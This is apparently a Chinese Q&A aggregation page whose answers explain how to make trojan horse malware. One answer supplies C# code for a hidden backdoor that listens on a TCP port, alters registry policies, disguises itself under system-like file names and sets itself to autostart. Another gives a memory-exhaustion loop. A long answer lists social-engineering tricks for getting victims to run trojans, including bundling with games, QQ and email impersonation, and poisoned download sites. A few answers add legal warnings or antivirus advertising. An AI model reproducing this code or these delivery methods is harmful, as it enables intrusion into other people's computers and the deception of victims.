1. 怎麼製作木馬
製作木馬有很多中的、首先是編程的一些軟體、這個是你自己選的、自己想學哪種編程就去學哪種編程、反正都能寫木馬的、編程的軟體有VC、VB、C++/C、易語言、delph、JAVA等等、都有很多的、C、VB、JAVA都是一些高級語言的、你要寫木馬必須要學這些的、最簡單的是易語言了、但是也是很差的、但可以寫很多東西的、只要你會寫就行了、會了想寫什麼就寫什麼、木馬這個很簡單的、會的人基本都能寫、
2. 木馬病毒怎麼設計
樓主想要製作木馬的目的是什麼?是為了盜取某個人的資料?如果是那我勸樓主放棄此想法。
如果是想提高計算機水平,那麼:
製作木馬首先要學習編程語言.但是我可以說,製作木馬需要非常高的編程水平和電腦知識的熟悉度,也需要一定的智商和觀察力.
這不是一件簡單的事,需要達到計算機程序員那樣的水準,樓主應該不是干這個的,要不然不會問這種問題.那就需要從底層做起,一步一步地,就像學一門外語一樣,阿拉伯?或者西班牙?從菜鳥學到高手,那你就會製作木馬了.
但是需要樓主注意的一點,我國法律已經修改了,傳播、製造計算機病毒等危害計算機、網路安全的,是會觸及刑法的。
如果樓主哪一天達到了能製作木馬的高度,何嘗不去研究安全軟體呢?
3. c語言可以編個木馬嗎
要實現木馬服務的程序,主要實現以下幾個功能:後台的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1、在VC#中,建立一個後台服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性「ShowInTaskbar」屬性設為false,讓它運行時不會在任務欄中顯示,並將屬性「Windowstate」屬性設為Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的起點和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體名稱
this.Name = "Form1";
//設置屬性讓它後台運行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼註解如下:
public Form1() //窗體的構造函數
{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//加入你的偵聽代碼
//埠你可以自已設定,我使用了固定的埠
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp網路中偵聽客戶端的
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取合適的注冊表修改函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數如下,完整代碼見程序
private void reControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket = listener.AcceptSocket();
//如果連接成功執行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能
//修改注冊表加入編碼
switch (ss)
{
case "jiance"://測試連接,返回測試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注冊表函數,自已定義,見下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case "zx0100":
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default:
break;
}//case
}//while
} //private void reControlCode
3、C#中實現注冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:
private void UnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變數
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//設置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//關閉打開的子鍵
key1.Close();
//警告字元串設定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
}
}
4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C:\\winnnt\\system\\msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和非同步讀寫。這里我們使用了System.IO.File類。
private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
//sourceFileName為要移動的文件名,destFileName為文件的新路徑
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//將新移的木馬程序設為自啟動.分析和前面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
按照步驟來就可以得到一個C#木馬了..
都給出答案了.可以給分卜?
4. 如何用C語言製作木馬
這個一兩句也說不清楚 你首先要有信心去學習c語言,c語言不像vb,要到後期才能看到它的威力,所以要堅持的學下去 希望你能堅持住,教程網上隨便一搜索就有了,還有可以去買書 都可以 總之要有耐心 堅持!!
5. 怎麼製作木馬
您好:
建議您不要製作或使用木馬病毒,木馬病毒會對您的電腦造成損害的,如果您曾使用過此類不安全的木馬病毒的話,為了您電腦的安全,建議您使用騰訊電腦管家對您的電腦進行一下全面的殺毒吧,打開騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤查殺就可以,您可以點擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載
騰訊電腦管家企業平台:http://..com/c/guanjia/
6. C語言簡單木馬程序
簡單的可以一直動態分配內存
#include "stdio.h"
int main()
{
while(true)
{
char* pTemp = (char*)malloc(4096);
}
return 0;
}
7. 木馬是怎麼做的
1、捆綁欺騙。把木馬服務端和某個游戲捆綁成一個文件在QQ或郵件發給別人。服務端運行後會看到游戲程序正常打開,卻不會發覺木馬程序已經悄悄運行,可以起到很好的迷惑作用。而且即使別人以後重裝系統了,他還是保存你給他的這個「游戲」的話,還是有可能再次中招。
2、這是教科書式的老式欺騙,方法如下:直接將木馬服務端發給對方,對方運行,結果毫無反應(運行木馬後的典型表現),他說:「怎麼打不開呀!」 你說:「哎呀,不會程序是壞了吧?」或者說:「對不起,我發錯了!」然後把正確的東西(正常游戲、相片等)發給他,他收到後歡天喜地的就不想剛才該發生的事有什麼不對勁了。
3、QQ冒名欺騙。前提:你必須先擁有一個不屬於你自己的QQ號。然後使用那個號碼給他的好友們發去木馬程序,由於信任被盜號碼的主人,他的朋友們會毫不猶豫地運行你發給他們的木馬程序,結果就中招了。
4、郵件冒名欺騙。和第三種方法類似,用匿名郵件工具冒充好友或大型網站、機構單位向別人發木馬附件,別人下載附件並運行的話就中木馬了。
5、危險下載點。這是後面幾位朋友提到的,蔬菜常用的方法:(據說他已經用這種方法得到了數千台肉雞)攻破一些下載站點後,下載幾個下載量大的軟體,捆綁上木馬,再悄悄放回去讓別人下載,這樣以後每增加一次下載次數,你就等於多了一台肉雞。或者你乾脆把木馬捆綁到其它軟體上,然後"正大光明"的發布到各大軟體下載網站,它們也不查毒,就算查也查不出我寫的新木馬,然後...我就不用說了,肉機會至少兩位數。
6、文件夾慣性點擊。把木馬文件偽裝成文件夾圖標後,放在一個文件夾中,然後在外面再套三四個空文件夾,很多人出於連續點擊的習慣,點到那個偽裝成文件夾木馬時,也會收不住滑鼠點下去,這樣木馬就成功運行了。
7、zip偽裝。這個方法是最新的,將一個木馬和一個損壞的zip包(可自製)捆綁在一起,然後指定捆綁後的文件為zip圖標,這樣一來,除非別人看了他的後綴,否則點下去將和一般損壞的zip沒什麼兩樣,根本不知道其實已經有木馬在悄悄運行了。
8、在某個公文包或者可以上傳附件的論壇傳上捆綁好的木馬,然後把鏈接發給受害者。
9、網頁木馬法。
計算機病毒的主要傳播途徑有:
1.軟盤
軟盤作為最常用的交換媒介,在計算機應用的早期對病毒的傳播發揮了巨大的作用,因那時計算機應用比較簡單,可執行文件和數據文件系統都較小,許多執行文件均通過軟盤相互拷貝、安裝,這樣病毒就能通過軟盤傳播文件型病毒;另外,在軟盤列目錄或引導機器時,引導區病毒會在軟盤與硬碟引導區互相感染。因此軟盤也成了計算機病毒的主要寄生的「溫床」。
2.光碟
光碟因為容量大,存儲了大量的可執行文件,大量的病毒就有可能藏身於光碟,對只讀式光碟,不能進行寫操作,因此光碟上的病毒不能清除。以謀利為目的非法盜版軟體的製作過程中,不可能為病毒防護擔負專門責任,也決不會有真正可靠可行的技術保障避免病毒的傳入、傳染、流行和擴散。當前,盜版光碟的泛濫給病毒的傳播帶來了極大的便利。
3.硬碟
由於帶病毒的硬碟在本地或移到其他地方使用、維修等,將干凈的軟盤傳染並再擴散。
4.BBS
電子布告欄(BBS)因為上站容易、投資少,因此深受大眾用戶的喜愛。BBS是由計算機愛好者自發組織的通訊站點,用戶可以在BBS上進行文件交換(包括自由軟體、游戲、自編程序)。由於BBS站一般沒有嚴格的安全管理,亦無任何限制,這樣就給一些病毒程序編寫者提供了傳播病毒的場所。各城市 BBS站間通過中心站間進行傳送,傳播面較廣。隨著BBS在國內的普及,給病毒的傳播又增加了新的介質。
5.網路
現代通信技術的巨大進步已使空間距離不再遙遠,數據、文件、電子郵件可以方便地在各個網路工作站間通過電纜、光纖或電話線路進行傳送,工作站的距離可以短至並排擺放的計算機,也可以長達上萬公里,正所謂「相隔天涯,如在咫尺」,但也為計算機病毒的傳播提供了新的「高速公路」。計算機病毒可以附著在正常文件中,當您從網路另一端得到一個被感染的程序,並在您的計算機上未加任何防護措施的情況下運行它,病毒就傳染開來了。這種病毒的傳染方式在計算機網路連接很普及的國家是很常見的,國內計算機感染一種「進口」病毒已不再是什麼大驚小怪的事了。在我們信息國際化的同時,我們的病毒也在國際化。大量的國外病毒隨著互聯網路傳入國內。
隨著Internet的風靡,給病毒的傳播又增加了新的途徑,並將成為第一傳播途徑。Internet開拓性的發展使病毒可能成為災難,病毒的傳播更迅速,反病毒的任務更加艱巨。Internet帶來兩種不同的安全威脅,一種威脅來自文件下載,這些被瀏覽的或是通過FTP下載的文件中可能存在病毒。另一種威脅來自電子郵件。大多數Internet郵件系統提供了在網路間傳送附帶格式化文檔郵件的功能,因此,遭受病毒的文檔或文件就可能通過網關和郵件伺服器湧入企業網路。網路使用的簡易性和開放性使得這種威脅越來越嚴重。
當前,Internet網上病毒的最新趨勢是:(1)不法分子或好事之徒製作的匿名個人網頁直接提供了下載大批病毒活樣本的便利途徑。(2)由於學術研究的病毒樣本提供機構同樣可以成為別有用心的人的使用工具。(3)由於網路匿名登錄才成為可能的專門關於病毒製作研究討論的學術性質的電子論文、期刊、雜志及相關的網上學術交流活動,如病毒製造協會年會等等,都有可能成為國內外任何想成為新的病毒製造者學習、借鑒、盜用、抄襲的目標與對象。(4)散見於網站上大批病毒製作工具、向導、程序等等,使得無編程經驗和基礎的人製造新病毒成為可能。(5)新技術、新病毒使得幾乎所有人在不知情時無意中成為病毒擴散的載體或傳播者
取得木馬方法: 去網上下載原代碼.
8. 最近想學編程! 希望哪位大哥能給一下關於:C語言、VB、c++(木馬編寫,病毒編寫)方面的視頻教程
這個東西你要先學習語言基礎的吧 不是說看了視頻就會的
要經過無數次的實踐
建議還是去看書 不要看視頻 先看C C++基礎語言類的書
然後再用VC++或者 win TC 等等軟體去編寫進行實踐
你要說視頻的話 那還真沒有 去找相關的黑客雜志或者書籍
這些東西都是經驗一點一點積累起來的 哪有那麼容易就會
要這么容易 人人都是黑客了
一般的小木馬很簡單的 小病毒也蠻簡單
但是真正難的是演算法 演算法又牽扯到數學知識
總之編程這個東西還是不好學的 要日積月累
我就是車輛工程專業 現在在學VC++
一個字:::::難
9. 如何做出木馬
願我的答案 能夠解決您的煩憂
最近總是看到有人要木馬病毒,我想說如果是小病毒,那麼製作出來會立刻被殺毒軟體殺掉,如果是厲害的病毒,那麼這病毒會優先整治你自己
1,所以說,如果自己不太懂病毒,就別亂玩,只能傷到自己。
2,下載騰訊電腦管家「8.4」最新版,對電腦首先進行一個體檢,打開所有防火牆避免系統其餘文件被感染。
3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。
4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。
5,查殺處理完所有病毒後,立刻重啟電腦,再進行一次安全體檢,清除多餘系統緩存文件,避免二次感染。
如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝